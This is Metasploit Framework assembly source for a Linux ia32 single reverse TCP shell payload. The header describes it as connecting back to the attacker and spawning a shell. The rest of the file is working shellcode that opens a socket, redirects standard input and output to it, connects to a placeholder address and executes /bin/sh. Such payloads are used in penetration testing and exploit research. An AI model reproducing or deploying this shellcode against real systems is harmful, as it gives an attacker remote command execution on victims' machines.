Linux_ia32 Single reverse TCP shell

;;
;
; Name: single_reverse_tcp_shell
; Version: $Revision: 1.3 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Single reverse TCP shell.
;
; Meta-Information:
;
; meta-shortname=Linux Reverse TCP Shell
; meta-description=Connect back to the attacker and spawn a shell
; meta-authors=skape
; meta-os=linux
; meta-arch=ia32
; meta-category=single
; meta-connection-type=reverse
; meta-name=reverse_tcp_shell
; meta-basemod=Msf::PayloadComponent::ReverseConnection
; meta-offset-lhost=0x1a
; meta-offset-lport=0x20
;;
BITS 32
GLOBAL _start

_start:
xor ebx, ebx

socket:
push ebx
inc ebx
push ebx
push byte 0x2
push byte 0x66
pop eax
mov ecx, esp
int 0x80
xchg eax, ebx

dup:
pop ecx
dup_loop:
mov al, 0x3f
int 0x80
dec ecx
jns dup_loop

connect:
pop ebx
pop edx
push dword 0x0100007f
push word 0xbfbf
inc ebx
push bx
mov ecx, esp
mov al, 0x66
push eax
push ecx
push ebx
mov ecx, esp
inc ebx
int 0x80

execve:
push edx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80